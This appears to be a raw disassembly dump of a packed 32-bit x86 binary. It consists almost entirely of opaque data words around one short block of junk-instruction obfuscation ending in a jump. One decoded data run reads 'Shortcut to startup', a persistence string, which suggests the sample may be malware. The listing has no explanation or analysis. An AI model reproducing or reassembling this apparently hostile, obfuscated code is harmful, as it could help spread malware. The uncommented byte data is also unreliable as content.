		dd 0B782C7C0h, 3CF30DD1h, 92CD6B4Fh, 0BF25F354h, 34C6D429h
		dd 0CA303EF5h, 0BD7E275Fh, 5491D3DEh, 0C4B745A7h, 457CFC1Ah
		dd 1FBh, 1FC6A600h, 94E150B0h, 674996FCh, 0A74C9998h, 31B48359h
		dd 3F6852E8h, 562916CDh, 0DE5176FCh, 2EED2BFh, 0A8765A79h
		dd 0F70CF542h, 8C1B16E9h, 5A7902A8h, 1E2A6230h,	6ABA50E1h
		dd 0D7E59C95h, 22BA072Ah, 0A28041EAh, 915A7902h, 45A98294h
		dd 7264505Dh, 0D160763Ah, 1D6D032Eh, 8A984FE2h,	0DC85BD74h
		dd 0DF2C05FAh, 76CD1B0Bh, 0DFF1A889h, 0CEAE73DEh, 0E2D40C5Eh
		dd 9B550CB6h, 0C13E4C40h, 6C63870h, 71000001h, 2343FB2Ch
		dd 0E2A3D369h, 230EF1A1h, 0B21906BDh, 0B251770Eh, 4AB597E4h
		dd 0FE0151E7h, 0FB04E633h, 1514F8E5h, 0CE9C5A79h, 57471B68h
		dd 0E44DB281h, 0BD78224Eh, 3359409Bh, 4000000h,	0E44DB1BFh
		dd 6CC206ACh, 6992A0B5h, 0A3DB73C0h, 91D3A4B8h,	91DEAC54h
		dd 91D3ECD0h, 885EBA54h, 0CE85EB1Fh, 91D3CDE1h,	7107D554h
		dd 985Fh, 0FB2CC200h, 96EDDA91h, 165176DBh, 7D839148h
		dd 97CF67B4h, 3EF30CEEh, 8AA758A8h, 0DE137C3Dh,	0DC8A5A78h
		dd 0D922300Eh, 0F30C1850h, 3F51A83Eh, 4FCA9F3Ah, 72B7434Dh
		dd 8CA55C0Ch, 0C96FA73Fh, 65772E9Eh, 5C036573h,	65CC341Dh
		dd 0E21A8018h, 0D709E2CFh, 0C3915765h, 0C66B9476h, 2937D479h
		dd 3FEA11D6h, 0A7F45AF2h, 0C513D70Fh, 8239A3D4h, 47A05F6Dh
		dd 0C31076B3h, 0C20F1AE1h, 0A18CC42Ah, 5D5215C8h, 0B6CB8250h
		dd 523BE5C9h, 0EBA96B66h, 8FA14D5Dh, 0E5D70FDDh, 0A4ADBF90h
		dd 8CE95810h, 0DA0DB3EBh, 4E503421h, 0AD85492h,	1CDFEDA4h
		dd 8569560Dh, 0D54924Eh, 0DFF4073Fh, 0B2FF2AD1h, 68C8661Ah
		dd 8B8649BCh, 5D8F6853h, 4917517Eh, 0FEE51AFCh,	191E2FDh
		dd 26DD43B1h, 19402411h, 0ACC85A7Eh, 869ECDEEh,	265EC4F6h
		dd 161BE434h, 0F90A08C9h, 0B93C7C7Ah, 90DD54ABh, 0EEFCC0F8h
		dd 0D289A857h, 0F9ECD0BDh, 0A6747C9Ch, 0D32C7C6Eh, 0D12F115Eh
		dd 0FD4ACF16h, 0D0B2FF65h, 0D4B6032Eh, 45BA072Ah, 0C93C4197h
		dd 462A172Ch, 0CE7C9CF9h, 0F604C800h, 0DA91A05Fh, 500FBCC8h
		dd 0E119093Bh, 0D1609FEFh, 3E084h, 58430000h, 0FB1EC613h
		dd 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h
		dd 32ED2B4h, 811D4B6h, 821D9BBh
		db 0BBh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	1872h
		mov	[esp], esi
		push	1A5h
		mov	[esp], edx
		push	5EC3F18h
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	3E5Fh
		mov	[esp], ecx
		mov	ecx, 8
		add	ecx, edx
		mov	[ecx], esi
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dw 930Dh
		dd 650B1DDEh, 0B8CEB652h, 5EC43D1h, 0E0FFC503h,	3A968212h
		dd 2FC1F9D6h, 23A701FAh, 2D8C1FF8h, 6513635Eh, 32130AF7h
		dd 0F14C298Fh, 166F8098h, 165788E7h, 32131CF5h,	0F1444EF8h
		dd 0C6A47415h, 3279C9B5h, 3210E14Fh, 6A33098Fh,	769A5104h
		dd 76920DC7h, 32060DD5h, 625309F8h, 0B8C875BFh,	0B3AE8AE9h
		dd 3216EE13h, 8F9000FAh, 37F421DEh, 620A7DE3h, 8AD382A2h
		dd 32130DFBh, 366E8CF5h, 0AF9E0CD9h, 37FABD8Ch,	6A48DA70h
		dd 1A0AB444h, 46130C04h, 8A4059E6h, 32130DFBh, 366E8CF5h
		dd 0AF9E0CD9h, 37FAB89Dh, 6A48DA70h, 0DA4409ADh, 321309E0h
		dd 6DD056D1h, 36377571h, 36374DFDh, 32130925h, 51D05E58h
		dd 9F85FE34h, 0B96F5CCCh, 871AF029h, 37F42220h,	1D56B473h
		dd 41A80C9Bh, 0B97F3D33h, 641363DFh, 32130A67h,	0F14D29C7h
		dd 166780BDh, 165788F5h, 32131CFCh, 0F1454F7Ch,	0F998402Fh
		dd 2ECE8496h, 0D5930C68h, 0EA9F6F01h, 10F88885h, 0FD986FE6h
		dd 0B61C0D50h, 32130DFFh, 32168431h, 3D44091Fh,	0B148D738h
		dd 0D50F8C7Ah, 0B61C09E6h, 321309CDh, 0DA410992h, 3213097Fh
		dd 68D0531Eh, 36375D96h, 36374D0Eh, 321309DDh, 7FD05BA1h
		dd 7100C749h, 34FBEA5Dh, 0B613097Ch, 9475658h, 0CDAC063Eh
		dd 3626E0D6h, 8F9809C7h, 37F40A5Ah, 3234094Fh, 4BAE22FAh
		dd 0BF16EE6Ah, 0D87C26BBh, 6113631Ah, 32130A67h, 0F14829C7h
		dd 164F80B8h, 165788F5h, 32131EFCh, 0F1404A7Ch,	985BE575h
		dd 37FAD9E0h, 2D13098Fh, 0C371D661h, 0B61CC966h, 3213092Bh
		dd 0DA440992h, 3213097Fh, 6DD0561Eh, 36377596h,	36374D0Eh
		dd 321309D1h, 0EDD05EA4h, 22FA479Bh, 711309F8h,	0D657C1A1h
		dd 30D164D8h, 29F1B983h, 8B76F2A5h, 1AE55D7Ah, 54443162h
		dd 0B71CF270h, 321309E9h, 4A926F85h, 3D110B3Ah,	3210CE9Bh
		dd 0B9AA6F8Fh, 0A926F9Dh, 0B71C697Fh, 3213098Bh, 1986B4CBh
		dd 4A930C9Bh, 0B71CE13Ch, 32130975h, 0DA4009E5h, 321309C4h
		dd 69D052C3h, 36375578h, 36374D79h, 32130960h, 0D7D05A7Dh
		dd 0F58B7107h, 0CDC0ED10h, 68D0BA96h, 32158CECh, 8F9809F1h
		dd 37F42061h, 346B881Ah, 0B71CA23Eh, 32130935h,	53FAC304h
		dd 581309C4h, 31FB59E3h, 121309F1h, 0BB4BCAA0h,	0B3172D38h
		dd 29172D7Ah, 7213091Fh, 0A42CADFh, 0DBD29D7h, 32AD395Bh
		dd 585508F0h, 31FB5EF8h, 1213097Ch, 0BB4CCA61h,	0B3172D63h
		dd 28172DCBh, 751309C7h, 47FECAB4h, 6AB9182Bh, 0F8A40676h
		dd 5D3C8CF1h, 0FA980CD4h, 0A8D9E0h, 0B706DEA5h,	0E2970607h
		dd 3D1309E1h, 32130F7Ah, 438682F8h, 0B316EE56h,	302E6F06h
		dd 6996061Dh, 3D13098Fh, 4A92D870h, 6D2E6FE5h, 0E797068Bh
		dd 581309FAh, 31FB5F7Ch, 1213093Eh, 0BB4DCA41h,	0B3172DFBh
		dd 29172D83h, 741309E3h, 3867CAA7h, 0FC05DDD2h,	873A9C1Dh
		dd 37F41E47h, 320F8410h, 22FB098Fh, 0E81309C7h,	0BBFC60D4h
		dd 24FE5295h, 4C5E374Dh, 3D0DFF1h, 0D53640ABh, 0B375531Ah
		dd 3D7395B7h, 32139042h, 631363E3h, 32130A19h, 0F14A29F8h
		dd 165F8025h, 1657883Ah, 32131E1Bh, 0F142488Fh,	852CDAE3h
		dd 0E9F00858h, 3216E0E6h, 0CB5409F8h, 894552EBh, 47C5E10Ch
		dd 0DA11719Fh, 324F8C80h, 0BF2209C7h, 37F40DC2h, 346B8897h
		dd 0B71CC9F8h, 32130936h, 32131AD7h, 445AB11Fh,	18E59843h
		dd 0E425D20Fh, 0A6945FE5h, 8160E2ABh, 32111A11h, 6213637Ch
		dd 32130AD6h, 0F14B291Fh, 165780D7h, 165788C3h,	321313E7h
		dd 0F14349F1h, 2084A3DEh, 528B6D84h, 0B9D5BE31h, 0D51204AAh
		dd 32AD688Ah, 586D08C6h, 31FB59E3h, 121309F1h, 0BB4BCAA0h
		dd 0B3172D38h, 2B172D7Ah, 7213091Fh, 0E1A3CADFh, 1EA4D94Ch
		dd 0B79EDF52h, 37F966DEh, 32E6BCC9h, 0E2EC0C9Bh, 0DA460954h
		dd 3213091Ch, 6FD054AFh, 3637654Eh, 36374D62h, 321309E4h
		dd 8ED05CBDh, 0C0926FFBh, 0F2963D7Ch, 334A8D10h, 3279098Fh
		dd 3210E190h, 6D3309E3h, 4E9A5632h, 76920DDCh, 32060D58h
		dd 6554093Eh, 397993DCh, 0D5377412h, 389306C2h,	0DB1309E3h
		dd 321309F4h, 711CCD4h,	0DA2B894Ch, 32948C31h, 3279091Fh
		dd 3210E1DDh, 683309C7h, 669A5320h, 76920DD5h, 320B0DDCh
		dd 6051097Ch, 35E9D6FDh, 8B75CC05h, 4A9370A1h, 0B71C7AC2h
		dd 321309BAh, 32131B19h, 899C47F8h, 98E22CFFh, 0ADC38A06h
		dd 3BDC7468h, 0BBFE9A45h, 0D50ACC72h, 4A9353E6h, 0B61C5AF6h
		dd 3213090Ch, 0DA460916h, 3213093Dh, 6FD0543Fh,	36376506h
		dd 36374D46h, 321309FBh, 63D05CB4h, 0FAEB3F8Dh,	284A84F7h
		dd 0D0920CD9h, 7FC51313h, 0E2B5D236h, 0A926FA3h, 0B71C0C6Ch
		dd 3213097Ah, 0DA460992h, 3213097Fh, 6FD0541Eh,	36376596h
		dd 36374D0Eh, 321309DEh, 11D05CA6h, 799E6C7Dh, 3DC8BE2Ah
		dd 32131EFDh, 239B063Eh, 0DB13091Fh, 32130983h,	6AD010D7h
		dd 0C4EE4372h, 0E0BF8FDFh, 5A157178h, 32528C73h, 3AFA093Eh
		dd 4813091Fh, 0B25E69BBh, 54EB6D9Fh, 0CD187162h, 1A9606D4h
		dd 0DB1309F8h, 3213092Ch, 0DA460954h, 3213091Ch, 6FD054AFh
		dd 3637654Eh, 36374D62h, 321309E4h, 1AD05CBDh, 0AF9680C4h
		dd 1916EE26h, 611363DFh, 32130A67h, 0F14829C7h,	164F80B8h
		dd 165788F5h, 32131EFCh, 0F1404A7Ch, 596EB2AFh,	1CAE9496h
		dd 1AFA0C68h, 0CA1309C7h, 3213085Bh, 631363F1h,	32130A10h
		dd 0F14A297Ch, 165F8067h, 1657881Bh, 32131E8Bh,	0F14248C7h
		dd 122AC940h, 62DD8297h, 32130610h, 2EC2427Ch, 0B9FF95C0h
		dd 5443D404h, 1F9CD9DCh, 3213192Eh, 1986A9E3h, 64950178h
		dd 80A4AFFFh, 5B970B66h, 369A50B0h, 0ABD9883Bh,	0BF0BFFD8h
		dd 0DE575A7Ah, 489E84E6h, 8A16E5BBh, 45755CDBh,	24BA8C7Fh
		dd 0FD380CD9h, 8C632ADh, 59E3586Dh, 9F131FBh, 0CAA01213h
		dd 2D38BB4Bh, 2D7AB317h, 831F2B17h, 0A4F305E9h,	51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 3EF7736Fh, 0A58D039Fh, 0BF05E716h, 6E011E4Ah, 1A59958Bh
		dd 9D8905E7h, 5E70A21h,	840FC00Bh, 5Ah,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 27C35040h, 6681E814h
		dd 9D89CE8Bh, 5E70AE1h,	4D24B58Dh, 950305E7h, 5E7329Dh
		dd 3B8h, 9DB58900h, 0FF05E71Ch,	0EE9E6h, 0F2280000h, 3B09EEFDh
		dd 0D810C084h, 0D6C40807h, 182D8589h, 0E94005E7h, 9, 52F28714h
		dd 0BEE167EDh, 0B5C08B10h, 81BD8390h, 5E70Ch, 0BD830975h
		dd 5E72819h, 50197400h,	0B8C08B53h, 403h, 17758589h, 9D8D05E7h
		dd 5E9B4FAh, 585BD3FFh,	2819BD83h, 740005E7h, 0B8535017h
		dd 403h, 17758589h, 9D8D05E7h, 5E9B19Bh, 585BD3FFh, 13059D89h
		dd 8BF805E7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 201B1019h, 0B70F11C3h, 12E861F9h
		dd 52000000h, 0A38119AEh, 5736BAB4h, 593499E9h,	0AC1D99B0h
		dd 2DBD3153h, 5E05E72Bh, 329D8D8Bh, 0C68105E7h,	65CEh
		dd 21B98D29h, 426805E7h, 0B2000019h, 958B5BF7h,	5E7090Dh
		dd 0CA8136FFh, 77880A38h, 376AB95Fh, 0F78159A3h, 16CFBB4Fh
		dd 13E8h, 0FB515200h, 0DB57E85Ah, 6142A8C7h, 0C3240901h
		dd 2D0E5075h, 72A3F081h, 81582F32h, 81B177F7h
		dd 0ED85230Bh, 8105E72Ah, 44132DF7h, 81958B70h,	5705E717h
		dd 335850Bh, 68F05E7h, 0AE8h, 0D5808000h, 0CCAB84B4h, 29FE7DB4h
		dd 0E7258585h, 0EE835A05h, 68A0F01h, 8B000000h,	0E72EA18Dh
		dd 4E4E4E05h, 2EDDB531h, 0EB8305E7h, 75850F01h,	89FFFFFFh
		dd 0E728CD9Dh, 358D8D05h, 6A05EC4Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6DA6C356h
		dd 1AA98D89h, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 11B410C3h, 85C7D58Ah, 5E72A4Dh
		dd 74C8h, 1CDD8D89h, 0B53105E7h, 5E71351h, 273985C7h, 5E7h
		dd 0D38B0000h, 251B5FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 879B3FC3h, 9595FF03h
		dd 8905E717h, 0E72191BDh, 0BA665105h, 6A5A8418h, 0C195FF00h
		dd 8B05E721h, 112AEBC0h, 219D75EEh, 0B95670E1h,	56C7691Fh
		dd 0AF56FE96h, 23AA8A27h, 0E511EF21h, 9D6ACCE1h, 55EBA4F0h
		dd 884F14DCh, 0EB7AA82Fh, 7E853h, 980A0000h, 0C9DABD09h
		dd 59B58911h, 5A05E71Bh, 48F0Fh, 0BE660000h, 0C281A588h
		dd 5ADEh, 9E9h,	309C8200h, 5E02E430h, 8B6843A8h, 8B000016h
		dd 0E70609B5h, 5E95B05h, 0A3000000h, 0EA5501F5h, 0F7813A8Bh
		dd 6DA675D1h, 8155DD80h, 0EB6E62C7h, 0C981664Fh, 0EF8188A3h
		dd 6579BCA3h, 1905BD89h, 805705E7h, 28F29DDh, 2BB5BD89h
		dd 0EA8105E7h, 79458C6Fh, 6D5858Bh, 0C28105E7h,	79458C6Bh
		dd 16658D89h, 0EB8305E7h, 10850F01h, 89000000h,	0E71665B5h
		dd 1AE905h, 0B8240000h,	8B31B65Fh, 0E71AB5B5h, 0FF96E905h
		dd 5F24FFFFh, 0B50CA582h, 5F8F12ECh, 68536CEBh,	6374726Fh
		dd 74207475h, 7473206Fh, 75747261h, 70h, 13h dup(0)
		dd 6C370000h, 1040Bh, 21E90000h, 6800000Fh, 5EC508Fh, 0FBFAC4E9h
		dd 517768FFh, 0BAE905ECh, 68FFFBFAh, 5EC536Ch, 0FBFAB0E9h
		dd 53B068FFh, 0A6E905ECh, 68FFFBFAh, 5EC546Bh, 0FBFA9CE9h
		dd 54EA68FFh, 92E905ECh, 68FFFBFAh, 5EC58CDh, 0FBFA88E9h
		dd 5B1468FFh, 7EE905ECh, 68FFFBFAh, 5EC5C14h, 0FBFA74E9h
		dd 74C212FFh, 932132E6h, 0AF015105h, 0CA666D21h, 0E852883Ch
		dd 8965475Ah, 0A75BE953h, 0C47806B6h, 0DD911F8Dh, 8EAB398Bh
		dd 34A776AAh, 7355583Fh, 0B572656Dh, 3F349C81h,	5AAD6058h
		dd 9B475E5Dh, 0BCC53426h, 0AC92773Ch, 0E0B6B306h, 0C0AE3C8Eh
		dd 82E5F1D2h, 2AA8CF4Eh, 6A7A2D5Eh, 32255EAAh, 5C1C3386h
		dd 7BC91A92h, 9482C428h, 0C88F35BAh, 0A4B2DC50h, 732DFB12h
		dd 4E5BCC60h, 8796CA0Ch, 75584461h, 61B16CC2h, 0A0535844h
		dd 3E3BEE89h, 4460E53Ch, 0E3514958h, 2983CED6h,	0FABD5312h
		dd 94D6BEA6h, 0EBE85A8Ch, 698796ECh, 7D6E5844h,	0B0D3D2CFh
		dd 3EFCE6FDh, 6000000h,	399DE608h, 4C803B31h, 5E2B82D1h
		dd 302D8033h, 0A3E1A31h, 5BCCAA0Eh, 46565306h, 5A4DD004h
		dd 25AF5844h, 85848133h, 0D44D1B32h, 5A58445Ah,	6E04F462h
		dd 79BEA6CDh, 0F9h, 82342683h, 0FB9AF85h, 1C140212h, 3696DB57h
		dd 7B2A3A39h, 53F9F606h, 0ED045756h, 0AAA7194Bh, 0A23082D4h
		dd 0DF3E72B4h, 1D5E2AF2h, 0DD85536Ah, 1A5E2AF6h, 0FAE876C8h
		dd 5451E3F2h, 364B4555h, 73693520h, 59A8BA5Ch, 18CB7E10h
		dd 5C59ACD4h, 2B268668h, 32858481h, 8E5A9ACEh, 0A75A5BCBh
		dd 0E0A74719h, 64EF8E7Ch, 0BE3D283Ch, 0F797CBA7h, 0B55DAB3h
		dd 0F906F458h, 57C6FA0Ch, 0A55E1D48h, 8DAFE2F2h, 0B4699D01h
		dd 485E1CC3h, 9AA27E95h, 7E6CFA4Ch, 0D6D37976h,	0C81EC0D7h
		dd 0AF02AAA7h, 0CC25577Ch, 0CCB049C4h, 0C6Ah, 8917A1B5h
		dd 0A83682D5h, 0C452FCF4h, 0DF6DC310h, 0FD8B3D2Bh, 3E2C08EAh
		dd 1B4AFE8Ch, 6A671BA9h, 6E8034C2h, 4D314EDCh, 3F320419h
		dd 4016F858h, 0BCAF3026h, 0C1141310h, 0CF034533h, 5E2B824Eh
		dd 42E4FBAEh, 22109E10h, 5E75D71Ah, 9DE608B2h, 81B5F739h
		dd 5E2B829Ch, 0C896AD60h, 5BCCAA50h, 67C50A94h,	0C151714h
		dd 2258445Ah, 5ED0020Ah, 2D1D8B47h, 0BEA6CD97h,	0B4A2h
		dd 3426AC00h, 0B9AF8582h, 5210120Fh, 2F5E2B85h,	1F278B3Dh
		dd 0C1D0C2C9h, 5F0B4995h, 0F9100F0Ch, 9B2D3FF3h, 184C8E9Eh
		dd 5E2B2905h, 1EFF33F7h, 0DE5E2B29h, 1C1D82Bh, 0FE3296EDh
		dd 5BCC2CF6h, 0E3B543F6h, 0E4187C0Bh, 55DAD5BBh, 17A9BB45h
		dd 0FBF11B1Ah, 2555451h, 0F640969Eh, 14A6B468h,	0CC51BAE1h
		dd 1BFF98C4h, 0B82h, 71FF499Dh,	901EAABDh, 0AC3A94DCh
		dd 0C755FBF8h, 0E573C513h, 0C614F0D2h, 2332E674h, 24F0391h
		dd 76681CAAh, 351936C4h, 3F311C01h, 28FEE058h, 22863026h
		dd 80E6EB34h, 4C637B45h, 0EE409246h, 7B6A7260h,	0B6CDCCC9h
		dd 0AB34260Ah, 0B0A07B9h, 69ABBBB8h, 2B81E835h,	76A7DB5Eh
		dd 865E2B82h, 0E6FDB0D3h, 12A01244h, 71D5AE40h,	0CC99EB3Dh
		dd 7774275Bh, 446AAC75h, 0AC005158h, 3799D9AFh,	26949E3Ah
		dd 0B3B01C53h, 706861B4h, 1307F502h, 3E6BE8A7h,	0FB25F82Ch
		dd 24D75843h, 65FBBAD1h, 70BEA72Ch, 0Ch, 7F6187Ah, 767E0000h
		dd 12BED567h, 399DE608h, 0CC8AA305h, 0AFAC5F5Bh, 0F4295D9Fh
		dd 8584478h, 4A9C3E55h,	747C6AF8h, 938ABE7Dh, 71584479h
		dd 6F6E6BBEh, 7946D70Bh, 3B65844h, 0A6184AECh, 429199A9h
		dd 0DBF2F1EEh, 88983A0Dh, 6DDBAD33h, 0B8025860h, 3A5BCBBh
		dd 0B9FB5FD1h, 0F0CA0B1h, 5863BA10h, 0EEA1FB88h, 0CB1DD1D7h
		dd 7E6C7C79h, 0EE80D7ABh, 13E1F82Dh, 0FB880C0Dh, 23F664E2h
		dd 3DF17F31h, 9A9C992Bh, 3F3106DAh, 0C295030Dh,	0DC901E90h
		dd 0BE12618Ah, 747A6E6Bh, 0F9E02B3Ch, 6896F259h, 12E8E538h
		dd 757471C3h, 636BCF22h, 0EFC5C272h, 0E6FD50FCh, 475ED60Ah
		dd 0AF9DBE70h, 0D52F4558h, 0BD586F3Fh, 99BEC24Dh, 20731825h
		dd 2E62A492h, 0C5703BEFh, 92435A0Dh, 0E69D512Ch, 6A6E4E82h
		dd 4B8DC311h, 0CF0E0617h, 1943F6C0h, 0C76279C3h, 0A9A8B014h
		dd 7E6EEC03h, 0E2DEEDF0h, 4681FCFh, 5E5BE9FCh, 0F6EC4F5Fh
		dd 64CDF0BBh, 5B3D714Dh, 97188015h, 0FBF3E7E4h,	0CCF4288Ch
		dd 38151656h, 0CD7B6C74h, 0A27BD1D0h, 621AE9ADh, 0F0F85CAFh
		dd 545350FAh, 759613Dh,	617327B5h, 3AAB9CCFh, 0DC7507FFh
		dd 98DF8h, 0F4429200h, 13A1B266h, 2F81D185h, 4AE6EDA1h
		dd 68D208BCh, 9E5C7DAh,	27DB69D3h, 44F88636h, 5D119F0Dh
		dd 0E2BB90Bh, 2F27F62Ah, 0F3D5583Fh, 0F2E4EC1Dh, 55872940h
		dd 65ADB0E3h, 0C25BC4BDh, 949DEh, 3886D600h, 57E5F6AAh
		dd 73DD15C9h, 8E2231E5h, 0AC1E4C00h, 4D290B1Eh,	6B1FAD1Fh
		dd 883CCA7Ah, 0A155E349h, 526FFD4Fh, 2EE33A6Eh,	3F21583Fh
		dd 82342669h, 0FF337585h, 5E2B821Eh, 72142BDEh,	5644D264h
		dd 92A9034Eh, 0CC227FE1h, 271557BBh, 157803E3h,	9E6C833Ch
		dd 5BCCA01Eh, 75656B1Eh, 99AFB8E7h, 2B8FF8F6h, 308BE1E9h
		dd 0D10721FCh, 0DD30E399h, 0FCCAE1E0h, 9772349Ch, 3941A558h
		dd 9B9A9739h, 0D31B0F84h, 0EA3D8FDDh, 2F564486h, 0FFADA289h
		dd 556473EFh, 9050703Eh, 1B49A04h, 1535B9Dh, 0E24E85AFh
		dd 853729CBh, 9F1143F7h, 14785F6Ch, 0B4983189h,	88Eh, 65F35D91h
		dd 8412BEB1h, 0A02E80D0h, 0BB49E7ECh, 0D967D107h, 0D208E4C6h
		dd 3726DA68h, 0E43F785h, 0A5C109Eh, 290D2AB8h, 3F2E28F5h
		dd 24FADC58h, 85823426h, 7C0AA2AFh, 2B82619Ch, 0D7B03E5Eh
		dd 65EB8573h, 1D5A8B40h, 4AF62A06h, 0BA5BC6F6h,	499BA307h
		dd 0A3B569F7h, 6B95373Ah, 1579CC78h, 7C1FEF27h,	6A7D9E42h
		dd 0FF748BDEh, 8C893329h, 0DE11BBB6h, 0CAA96C0Fh, 0FD8BC55h
		dd 10000008h, 30E472DCh, 4F03913Fh, 6B1FAD03h, 863AC864h
		dd 4558E650h, 0E7518763h, 4B0A559h, 1D8FC276h, 3789DB8Fh
		dd 74A88CA9h, 583F2EA9h, 26A3795Bh, 75858234h, 0CFCC786Dh
		dd 0C517B9D0h, 0E7210F73h, 929E8451h, 0A284F910h, 0F1E3B624h
		dd 4AE0B13Fh, 55B8C073h, 4D8h, 0ECE4EC5Fh, 836B2B42h, 565EA004h
		dd 0CC9AB11Bh, 5BC7CC74h, 77B91DD0h, 341C0135h,	56E0583Fh
		dd 0B5B4B11Bh, 0B7A94B62h, 4AA57705h, 0A63C3E3Bh, 0E3215B9Fh
		dd 6F4542F2h, 95CDCA62h, 605955C3h, 0E5EDFA68h,	6A2940ECh
		dd 353FFAD4h, 0A677ABEDh, 4FE1AB68h, 38DB01Ch, 0F40B5ECEh
		dd 390Ah, 8EDCE400h, 29403F3Ch,	0EFE4EC7Dh, 856A2A41h
		dd 0B36A9E02h, 515E2B82h, 3E9FA19Eh, 687E4CE0h,	0EDF50270h
		dd 504F4CF8h, 3AE47A39h, 7EFD927h, 0F9000000h, 1E718h
		dd 0E608AE00h, 0A305399Dh, 1E5BC7CBh, 7875C716h, 14C76279h
		dd 340B1517h, 3713583Fh, 6D16D8C9h, 5185C709h, 583F34CCh
		dd 98667D30h, 55DB7E10h, 0FFB341F4h, 8C625FE9h,	75C7155Eh
		dd 1BED2522h, 3A8CDAADh, 57E5F8ACh, 0B4A9B1F3h,	0B60C0B08h
		dd 5E2B8267h, 56CBE295h, 0E2DF6D80h, 976AD8AAh,	8868F646h
		dd 5E2B828Fh, 17A5074Ah, 7CD02129h, 0C769807Fh,	46262395h
		dd 38A0E708h, 52862538h, 5E2B82CBh, 2D338639h, 60C87469h
		dd 0AEA2A451h, 0A5BA5040h, 0A5C5B8BFh, 0CF000003h, 89863026h
		dd 5C8842A4h, 0DFB70A6Eh
		dd 0C238B81h, 0D90FE250h, 0D0030B6Fh, 95373A64h, 7C829998h
		dd 0C02892C8h, 0BB1FADC0h, 0F70EBEB3h, 9BDA1717h, 0FFFEFB4Dh
		dd 86D9AFACh, 0DD5B3D3Ah, 0B626736Fh, 0F30ABCAEh, 0E0F6C937h
		dd 4A525056h, 0A9A8A507h, 820C1145h, 3DF05E2Bh,	0E0528426h
		dd 823FE1E3h, 3DF5E2Bh,	1E90C295h, 3795DC90h, 2686CBD3h
		dd 88989A0Fh, 7E5E2B82h, 195B68D6h, 2B8238E5h, 219CC5Eh
		dd 57BB1160h, 95AC004Fh, 8E4AAF8Fh, 0D31A5E2Bh,	0B8BFE53Eh
		dd 0FFFF3F47h, 0AAEC51FFh, 2B82A776h, 8BA2555Eh, 0B745F7E9h
		dd 625FD103h, 2B82C060h, 1684605Eh, 3B9F1143h, 8258C5F9h
		dd 0F9AC5E2Bh, 3228DCE2h, 5C1B87CBh, 0E6399C67h, 731DE7E9h
		dd 4F478E57h, 0B65BF1E1h, 69668932h, 70000000h,	0A776AAECh
		dd 555E2B82h, 23CB8BA2h, 96E95B8Dh, 0CBAAFE32h,	21295BC7h
		dd 0CD687FD1h, 50D1D1Ah, 7F4D64D0h, 583F349Dh, 31218F87h
		dd 0BEAC2D9Bh, 1FA6h, 0E4ECB000h, 5F2D44F6h, 5E2B87EEh
		dd 0FE3C86BEh, 0E4ECFFFFh, 454441EFh, 1518822Eh, 0AE000000h
		dd 41EFE4ECh, 2627A2Ah,	0F2E00000h, 0DD1921F4h,	88344B12h
		dd 85823426h, 7D0BBDAFh, 0E04443ABh, 0CC8DF4ACh, 0F95D105Bh
		dd 0F7A3200Bh, 849BA509h, 58140D0Fh, 21A5844h, 58918CC0h
		dd 0E9735844h, 0E0F74AF6h, 30C6B624h, 3BBEA703h, 44h, 76AAEC45h
		dd 5E2B82A7h, 0CB8BA255h, 12006423h, 5D182533h,	0D8B4CB83h
		dd 0CBEF74A4h, 36272F5Bh, 21D46F86h, 0EEFF2224h, 172F5843h
		dd 576EDE0Fh, 18202D9Bh, 7D7C79C7h, 3811A766h, 0C41CBEA7h
		dd 26000000h, 85823426h, 0AB0FB9AFh, 9267D9BDh,	465D094Bh
		dd 57E9FBD1h, 952845Ah,	0FD2054D7h, 0FF5E2B0Ah,	0FDFCF94Ch
		dd 363385D3h, 6856E437h, 0B2BF226h, 26D95E2Bh, 0E21410Fh
		dd 36245E2Bh, 9D370F62h, 4EF0070Bh, 4A1CAA1Ch, 4B7FE3A4h
		dd 5BC1F7D6h, 4D70FFEDh, 14C480B7h, 4BAF62FDh, 3FA31543h
		dd 0AC0FFDh, 0CC13D87Bh, 4226A776h, 8BA25558h, 21559785h
		dd 584225FCh, 94364D00h, 0E8C1F446h, 0CACAA6C1h, 42C4D31h
		dd 0E3F30000h, 0C013C755h, 3E32E674h, 14E0290h,	73691DABh
		dd 46283BC9h, 3CCA7C6Ah, 59E75588h, 7200ACA5h, 8C1AACBEh
		dd 0C6578B6Fh, 36583F2Ah, 30267E54h, 1244F886h,	265412A0h
		dd 0CB8AB34h, 0C0BD100Fh, 0B846F8EAh, 1B7F08E6h, 0CCAC4DE7h
		dd 0B61ACD5Bh, 0F84823C8h, 93C4B60Dh, 0D6292825h, 0D7484ABFh
		dd 165843DEh, 151D2A98h, 757471C3h, 37509E5Eh, 4A8991D3h
		dd 0D3EAE9E6h, 0E5092F05h, 0B543B355h, 0AFA97A88h, 9684E83Bh
		dd 6C3D59A8h, 0E7ED04F1h, 46AAD915h, 0C6EE2E12h, 0FF63165Bh
		dd 0C755FBF7h, 3EF240E7h, 18B4BD58h, 62C88Ah, 0FA5E0000h
		dd 5E2B8227h, 0C04E35B8h, 6D6AC40Ch, 2B82B26Bh,	39A7595Eh
		dd 0E076A66h, 0D685DD80h, 0BFA9E55Eh, 18D59FAFh, 2B2339E4h
		dd 0C518CB5Eh, 0B4F6E472h, 2B239D80h, 33EA1E5Eh, 0D15E2B23h
		dd 3148FB1Eh, 0C013428Fh, 25787774h, 22FA2628h,	640C5E2Bh
		dd 7E2E23F6h, 79A4D81Ah, 8B5E2B23h, 0FDBBC1D8h,	84812B26h
